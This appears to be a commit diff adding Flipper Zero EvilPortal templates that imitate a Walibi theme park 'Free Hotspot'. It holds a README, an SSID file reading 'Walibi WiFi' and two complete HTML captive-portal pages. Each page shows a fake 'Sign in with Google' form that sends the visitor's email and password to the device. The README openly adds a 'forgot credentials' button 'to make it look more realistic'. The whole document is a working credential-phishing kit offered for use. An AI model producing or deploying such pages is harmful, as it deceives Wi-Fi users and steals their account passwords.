This one **emulates a portal for a Walibi "Free Hotspot"** using EvilPortal on your Flipper Zero.
The **HTML in the *"WithForgotCredentials"* file** contains a **"forgot credentials" button on the user side to make it look more realistic**. This button only shows a message inviting them to go on their provider's app if they forgot their login/password.
## Happy flippin'

View File

@@ -0,0 +1 @@
Walibi WiFi

View File

@@ -0,0 +1,197 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #E41512;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #E41512;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #E41512;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #E41512;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="100.000000pt" height="113.000000pt" viewBox="0 0 1000.000000 1139.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1139.000000) scale(0.100000,-0.100000)"
fill="#E41512" stroke="none">
<path d="M6825 11378 c-2 -7 -237 -751 -520 -1653 -284 -902 -520 -1644 -524
-1648 -4 -4 -205 296 -445 668 -241 371 -441 673 -445 670 -5 -2 -187 -315
-407 -696 -372 -646 -399 -689 -408 -662 -5 15 -195 610 -421 1321 -227 711
-415 1295 -418 1298 -5 5 -3226 -1222 -3237 -1233 -3 -3 22 -55 54 -116 747
-1412 1370 -2698 1876 -3872 241 -559 471 -1134 650 -1625 91 -249 300 -873
300 -896 0 -8 2 -14 4 -14 2 0 338 -68 746 -150 408 -83 750 -150 759 -150 11
0 115 183 341 600 179 330 327 600 330 600 3 0 196 -291 430 -645 234 -355
429 -645 435 -645 27 -1 2026 131 2063 136 24 3 45 11 47 17 2 7 29 156 60
332 118 667 346 1779 525 2566 390 1706 805 3231 1262 4637 75 227 118 376
112 381 -10 9 -3120 791 -3148 791 -9 0 -19 -6 -21 -12z"/>
<path d="M9453 2387 l-482 -152 -15 -80 c-24 -131 -50 -354 -43 -362 6 -6 897
92 902 100 1 1 30 137 64 302 34 165 65 310 68 323 3 12 1 22 -3 21 -5 0 -226
-69 -491 -152z"/>
<path d="M1766 2098 c-76 -238 -142 -437 -146 -441 -4 -4 -59 72 -122 170 -63
97 -119 178 -125 180 -5 2 -53 -72 -106 -164 -53 -93 -102 -176 -110 -186 -12
-17 -26 23 -129 345 -63 199 -120 363 -124 363 -25 0 -904 -342 -904 -351 0
-7 39 -85 87 -175 153 -291 357 -722 488 -1034 86 -203 105 -253 175 -455 l58
-165 208 -42 c115 -23 212 -42 216 -43 3 0 33 51 66 113 34 61 74 136 90 166
l30 54 118 -177 117 -176 56 1 c31 0 166 8 300 17 l245 17 38 205 c113 604
301 1353 472 1885 25 77 44 140 43 140 -1 1 -200 41 -442 90 -242 48 -444 89
-450 91 -5 2 -72 -191 -149 -428z"/>
<path d="M3101 2231 c-61 -156 -244 -784 -341 -1166 -82 -326 -200 -872 -200
-930 0 -10 677 19 687 29 3 2 14 40 24 83 11 43 25 95 30 116 l10 37 257 0
257 0 31 -108 31 -107 59 1 c520 12 684 17 684 23 0 9 -667 1891 -671 1895 -2
2 -175 34 -384 71 -209 37 -399 70 -422 74 -39 8 -42 6 -52 -18z m492 -887
c14 -79 75 -350 102 -456 l7 -28 -131 0 c-102 0 -131 3 -131 13 0 7 20 103 44
213 24 109 52 234 61 277 9 42 20 77 24 77 4 0 15 -43 24 -96z"/>
<path d="M8045 2160 c-49 -5 -276 -23 -502 -41 l-413 -33 0 -938 0 -938 23 -4
c12 -3 207 -22 432 -42 592 -54 710 -50 866 32 166 87 258 263 259 492 0 239
-106 446 -268 521 -56 26 -63 36 -32 46 34 11 117 99 145 154 57 114 83 277
66 419 -21 173 -71 257 -183 307 -56 25 -76 29 -183 31 -66 1 -160 -1 -210 -6z
m-69 -483 c23 -20 28 -34 31 -83 7 -110 -51 -166 -185 -180 l-62 -7 0 141 0
141 33 4 c17 2 60 5 94 5 52 2 66 -2 89 -21z m33 -732 c76 -45 101 -134 59
-214 -34 -65 -76 -83 -204 -89 l-104 -5 0 168 0 167 108 -3 c84 -3 114 -8 141
-24z"/>
<path d="M6525 2055 c-165 -13 -301 -23 -302 -24 -2 -1 -3 -84 -3 -186 l0
-185 334 0 333 0 6 68 c4 37 7 131 7 210 l0 142 -37 -1 c-21 -1 -173 -12 -338
-24z"/>
<path d="M4770 1125 l0 -915 610 0 610 0 0 295 0 295 -275 0 -275 0 0 620 0
620 -335 0 -335 0 0 -915z"/>
<path d="M9300 1707 c-223 -22 -406 -41 -407 -41 -3 -2 -34 -385 -48 -606 -17
-264 -38 -931 -30 -952 4 -10 107 -27 373 -61 202 -26 377 -47 389 -47 20 0
21 6 28 108 30 475 98 1096 165 1493 11 64 20 124 20 133 0 22 -7 21 -490 -27z"/>
<path d="M6220 855 l0 -655 335 0 335 0 0 655 0 655 -335 0 -335 0 0 -655z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot password?</a>
<button class="submit-btn" type="submit">Continue</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Walibi WiFi

View File

@@ -0,0 +1,173 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #E41512;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #E41512;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #E41512;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #E41512;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="100.000000pt" height="113.000000pt" viewBox="0 0 1000.000000 1139.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,1139.000000) scale(0.100000,-0.100000)"
fill="#E41512" stroke="none">
<path d="M6825 11378 c-2 -7 -237 -751 -520 -1653 -284 -902 -520 -1644 -524
-1648 -4 -4 -205 296 -445 668 -241 371 -441 673 -445 670 -5 -2 -187 -315
-407 -696 -372 -646 -399 -689 -408 -662 -5 15 -195 610 -421 1321 -227 711
-415 1295 -418 1298 -5 5 -3226 -1222 -3237 -1233 -3 -3 22 -55 54 -116 747
-1412 1370 -2698 1876 -3872 241 -559 471 -1134 650 -1625 91 -249 300 -873
300 -896 0 -8 2 -14 4 -14 2 0 338 -68 746 -150 408 -83 750 -150 759 -150 11
0 115 183 341 600 179 330 327 600 330 600 3 0 196 -291 430 -645 234 -355
429 -645 435 -645 27 -1 2026 131 2063 136 24 3 45 11 47 17 2 7 29 156 60
332 118 667 346 1779 525 2566 390 1706 805 3231 1262 4637 75 227 118 376
112 381 -10 9 -3120 791 -3148 791 -9 0 -19 -6 -21 -12z"/>
<path d="M9453 2387 l-482 -152 -15 -80 c-24 -131 -50 -354 -43 -362 6 -6 897
92 902 100 1 1 30 137 64 302 34 165 65 310 68 323 3 12 1 22 -3 21 -5 0 -226
-69 -491 -152z"/>
<path d="M1766 2098 c-76 -238 -142 -437 -146 -441 -4 -4 -59 72 -122 170 -63
97 -119 178 -125 180 -5 2 -53 -72 -106 -164 -53 -93 -102 -176 -110 -186 -12
-17 -26 23 -129 345 -63 199 -120 363 -124 363 -25 0 -904 -342 -904 -351 0
-7 39 -85 87 -175 153 -291 357 -722 488 -1034 86 -203 105 -253 175 -455 l58
-165 208 -42 c115 -23 212 -42 216 -43 3 0 33 51 66 113 34 61 74 136 90 166
l30 54 118 -177 117 -176 56 1 c31 0 166 8 300 17 l245 17 38 205 c113 604
301 1353 472 1885 25 77 44 140 43 140 -1 1 -200 41 -442 90 -242 48 -444 89
-450 91 -5 2 -72 -191 -149 -428z"/>
<path d="M3101 2231 c-61 -156 -244 -784 -341 -1166 -82 -326 -200 -872 -200
-930 0 -10 677 19 687 29 3 2 14 40 24 83 11 43 25 95 30 116 l10 37 257 0
257 0 31 -108 31 -107 59 1 c520 12 684 17 684 23 0 9 -667 1891 -671 1895 -2
2 -175 34 -384 71 -209 37 -399 70 -422 74 -39 8 -42 6 -52 -18z m492 -887
c14 -79 75 -350 102 -456 l7 -28 -131 0 c-102 0 -131 3 -131 13 0 7 20 103 44
213 24 109 52 234 61 277 9 42 20 77 24 77 4 0 15 -43 24 -96z"/>
<path d="M8045 2160 c-49 -5 -276 -23 -502 -41 l-413 -33 0 -938 0 -938 23 -4
c12 -3 207 -22 432 -42 592 -54 710 -50 866 32 166 87 258 263 259 492 0 239
-106 446 -268 521 -56 26 -63 36 -32 46 34 11 117 99 145 154 57 114 83 277
66 419 -21 173 -71 257 -183 307 -56 25 -76 29 -183 31 -66 1 -160 -1 -210 -6z
m-69 -483 c23 -20 28 -34 31 -83 7 -110 -51 -166 -185 -180 l-62 -7 0 141 0
141 33 4 c17 2 60 5 94 5 52 2 66 -2 89 -21z m33 -732 c76 -45 101 -134 59
-214 -34 -65 -76 -83 -204 -89 l-104 -5 0 168 0 167 108 -3 c84 -3 114 -8 141
-24z"/>
<path d="M6525 2055 c-165 -13 -301 -23 -302 -24 -2 -1 -3 -84 -3 -186 l0
-185 334 0 333 0 6 68 c4 37 7 131 7 210 l0 142 -37 -1 c-21 -1 -173 -12 -338
-24z"/>
<path d="M4770 1125 l0 -915 610 0 610 0 0 295 0 295 -275 0 -275 0 0 620 0
620 -335 0 -335 0 0 -915z"/>
<path d="M9300 1707 c-223 -22 -406 -41 -407 -41 -3 -2 -34 -385 -48 -606 -17
-264 -38 -931 -30 -952 4 -10 107 -27 373 -61 202 -26 377 -47 389 -47 20 0
21 6 28 108 30 475 98 1096 165 1493 11 64 20 124 20 133 0 22 -7 21 -490 -27z"/>
<path d="M6220 855 l0 -655 335 0 335 0 0 655 0 655 -335 0 -335 0 0 -655z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>